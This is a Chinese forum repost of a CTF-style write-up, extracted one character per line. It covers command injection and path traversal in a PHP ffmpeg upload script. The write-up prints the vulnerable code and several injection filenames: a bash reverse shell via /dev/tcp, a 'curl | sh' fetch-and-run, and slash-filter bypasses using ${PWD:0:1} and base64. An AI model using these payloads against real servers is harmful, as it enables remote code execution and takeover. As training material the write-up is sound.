论坛
BBS
空间测绘
发表
发布文章
提问答疑
搜索
您还未登录
登录后即可体验更多功能
立即登录
我的收藏
提问答疑
我要投稿
代码执行
[1105] 2020-07-22_每日一问：记一次命令注入RCE
文档创建者：
s7ckTeam
浏览次数：
11
最后更新：
2025-01-16
代码执行
11 人阅读
|
0 人回复
s7ckTeam
s7ckTeam
当前离线
积分
-56
6万
主题
-6万
回帖
-56
积分
管理员
积分
-56
发消息
2020-07-22_每日一问：记一次命令注入RCE
每
日
一
问
：
记
一
次
命
令
注
入
R
C
E
C
h
a
b
u
g
运
营
小
哥
哥
C
h
a
B
u
g
2
0
2
0
-
0
7
-
2
2
在
q
q
群
里
提
出
了
一
个
每
日
一
问
每
日
一
问
的
活
动
，
目
的
是
拓
展
渗
透
实
战
思
路
，
问
题
不
限
于
渗
透
、
审
计
、
红
队
、
逆
向
。
这
篇
文
章
是
昨
天
晚
上
临
时
由
实
战
环
境
改
的
一
个
C
T
F
题
。
题
目
模
拟
真
实
环
境
在
群
里
出
了
一
道
C
T
F
题
当
作
每
日
一
问
每
日
一
问
，
代
码
形
如
：
环
境
是
o
n
e
i
n
s
t
a
c
k
的
集
成
环
境
，
网
站
目
录
位
于
，
i
n
d
e
x
.
p
h
p
是
r
o
o
t
权
限
写
入
的
。
1
.
<
?
p
h
p
2
.
h
e
a
d
e
r
(
'
C
o
n
t
e
n
t
-
T
y
p
e
:
t
e
x
t
/
h
t
m
l
;
c
h
a
r
s
e
t
=
u
t
f
-
8
'
)
;
3
.
/
/
e
r
r
o
r
_
r
e
p
o
r
t
i
n
g
(
0
)
;
4
.
$
u
p
l
o
a
d
_
d
i
r
=
'
u
p
l
o
a
d
s
/
'
;
5
.
$
i
s
F
f
m
p
e
g
=
i
s
s
e
t
(
$
_
P
O
S
T
[
'
i
s
F
f
m
p
e
g
'
]
)
?
(
b
o
o
l
e
a
n
)
(
$
_
P
O
S
T
[
'
i
s
F
f
m
p
e
g
'
]
)
:
f
a
l
s
e
;
6
.
$
s
a
v
e
=
i
s
s
e
t
(
$
_
P
O
S
T
[
'
s
a
v
e
'
]
)
?
$
u
p
l
o
a
d
_
d
i
r
.
$
_
P
O
S
T
[
'
s
a
v
e
'
]
:
f
a
l
s
e
;
7
.
$
f
i
l
e
n
a
m
e
=
i
s
s
e
t
(
$
_
F
I
L
E
S
[
'
f
i
l
e
n
a
m
e
'
]
)
?
$
_
F
I
L
E
S
[
'
f
i
l
e
n
a
m
e
'
]
[
'
n
a
m
e
'
]
:
f
a
l
s
e
;
8
.
i
f
(
$
i
s
F
f
m
p
e
g
&
&
i
s
s
e
t
(
$
_
F
I
L
E
S
)
)
{
9
.
i
f
(
$
f
i
l
e
n
a
m
e
&
&
$
s
a
v
e
&
&
$
_
F
I
L
E
S
[
'
f
i
l
e
n
a
m
e
'
]
[
"
t
y
p
e
"
]
=
=
'
v
i
d
e
o
/
b
l
o
b
'
)
{
1
0
.
i
f
(
m
o
v
e
_
u
p
l
o
a
d
e
d
_
f
i
l
e
(
$
_
F
I
L
E
S
[
'
f
i
l
e
n
a
m
e
'
]
[
"
t
m
p
_
n
a
m
e
"
]
,
$
s
a
v
e
)
)
{
1
1
.
$
l
a
s
t
_
l
i
n
e
=
e
x
e
c
(
"
f
f
m
p
e
g
-
i
"
.
$
s
a
v
e
.
"
-
h
i
d
e
_
b
a
n
n
e
r
"
)
;
1
2
.
/
/
e
c
h
o
'
s
u
c
c
e
s
s
'
;
1
3
.
}
e
l
s
e
{
1
4
.
/
/
e
c
h
o
'
e
r
r
o
r
'
;
1
5
.
u
n
l
i
n
k
(
$
s
a
v
e
)
;
1
6
.
u
n
l
i
n
k
(
$
_
F
I
L
E
S
[
'
f
i
l
e
n
a
m
e
'
]
[
'
t
m
p
_
n
a
m
e
'
]
)
;
1
7
.
}
1
8
.
}
1
9
.
}
e
l
s
e
{
2
0
.
s
h
o
w
_
s
o
u
r
c
e
(
_
_
F
I
L
E
_
_
)
;
2
1
.
}
/
d
a
t
a
/
w
w
w
r
o
o
t
/
d
e
f
a
u
l
t
/
i
n
d
e
x
.
p
h
p
题
解
思
路
p
h
p
文
件
很
明
确
可
以
看
出
来
两
个
洞
：
1
.
任
意
文
件
上
传
2
.
命
令
注
入
首
先
尝
试
任
意
文
件
上
传
，
直
接
怼
上
去
s
h
e
l
l
试
试
，
构
造
请
求
包
：
访
问
h
t
t
p
:
/
/
1
2
3
.
5
7
.
2
2
3
.
3
0
/
u
p
l
o
a
d
s
/
a
a
.
p
h
p
报
4
0
4
，
直
接
访
问
h
t
t
p
:
/
/
1
2
3
.
5
7
.
2
2
3
.
3
0
/
u
p
l
o
a
d
s
/
没
有
这
个
目
录
，
分
析
之
后
发
现
是
的
问
题
，
当
不
存
在
u
p
l
o
a
d
s
目
录
时
会
走
e
l
s
e
分
支
。
尝
试
跨
目
录
，
s
h
e
l
l
应
该
在
h
t
t
p
:
/
/
1
2
3
.
5
7
.
2
2
3
.
3
0
/
a
a
.
p
h
p
访
问
发
现
还
是
4
0
4
。
全
站
应
该
没
有
写
入
权
限
。
只
能
走
命
令
注
入
这
条
路
了
。
命
令
注
入
的
关
键
点
在
于
，
首
先
找
可
写
目
录
，
比
如
，
因
为
不
知
道
当
前
的
绝
对
路
径
，
我
们
可
以
用
尽
可
能
多
的
跨
到
t
m
p
，
形
如
：
m
o
v
e
_
u
p
l
o
a
d
e
d
_
f
i
l
e
.
.
/
m
o
v
e
_
u
p
l
o
a
d
e
d
_
f
i
l
e
/
t
m
p
/
.
.
/
确
实
可
行
这
样
走
到
e
x
e
c
之
后
注
入
，
d
n
s
l
o
g
带
外
这
个
时
候
上
传
的
文
件
名
为
尝
试
常
规
的
b
a
s
h
反
弹
s
h
e
l
l
发
包
后
没
收
到
s
h
e
l
l
，
因
为
的
问
题
，
在
的
时
候
会
报
错
，
走
不
到
e
x
e
c
(
)
。
这
个
时
候
就
是
体
现
姿
势
的
时
候
了
。
群
友
给
了
几
个
姿
势
1
.
c
u
r
l
的
原
理
是
直
接
通
过
管
道
符
执
行
c
u
r
l
的
结
果
2
.
先
传
一
上
帝
视
角
主
要
就
是
命
令
注
入
和
1
.
b
a
s
h
-
i
>
&
/
d
e
v
/
t
c
p
/
i
p
/
8
0
8
0
0
>
&
1
/
m
o
v
e
_
u
p
l
o
a
d
e
d
_
f
i
l
e
1
.
/
.
.
/
.
.
/
.
.
/
.
.
/
.
.
/
t
m
p
/
x
x
;
c
u
r
l
1
0
.
1
0
.
1
0
.
1
0
|
s
h
;
2
.
.
.
/
.
.
/
.
.
/
.
.
/
.
.
/
.
.
/
t
m
p
/
a
s
d
f
a
s
d
.
s
h
;
b
a
s
h
$
(
p
h
p
-
r
"
p
r
i
n
t
(
c
h
r
(
4
7
)
)
;
"
)
t
m
p
$
(
p
h
p
-
r
"
p
r
i
n
t
(
c
h
r
(
4
7
)
)
;
"
3
.
/
.
.
/
.
.
/
.
.
/
.
.
/
.
.
/
t
m
p
/
x
x
;
b
a
s
h
-
i
>
&
$
{
P
W
D
:
0
:
1
}
d
e
v
$
{
P
W
D
:
0
:
1
}
t
c
p
$
{
P
W
D
:
0
:
1
}
1
2
3
.
5
7
.
2
2
3
.
3
0
4
.
e
c
h
o
`
e
c
h
o
L
w
o
=
|
b
a
s
e
6
4
-
d
`
t
m
p
在
L
i
n
u
x
下
的
绕
过
。
回
过
头
看
L
i
n
u
x
权
限
问
题
i
n
d
e
x
.
p
h
p
为
r
o
o
t
所
属
，
其
他
用
户
只
有
读
权
限
，
不
可
写
。
完
美
复
现
实
战
中
碰
到
的
苛
刻
环
境
，
利
用
还
算
简
单
，
重
点
是
通
过
b
a
s
h
配
合
其
他
命
令
进
行
绕
过
特
殊
字
符
串
。
m
o
v
e
_
u
p
l
o
a
d
e
d
_
f
i
l
e
回复
举报
上一个主题
下一个主题
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
本版积分规则
发表回复
!disable!!post_parseurl!
使用Markdown编辑器编辑
使用富文本编辑器编辑
回帖后跳转到最后一页
发表
代码执行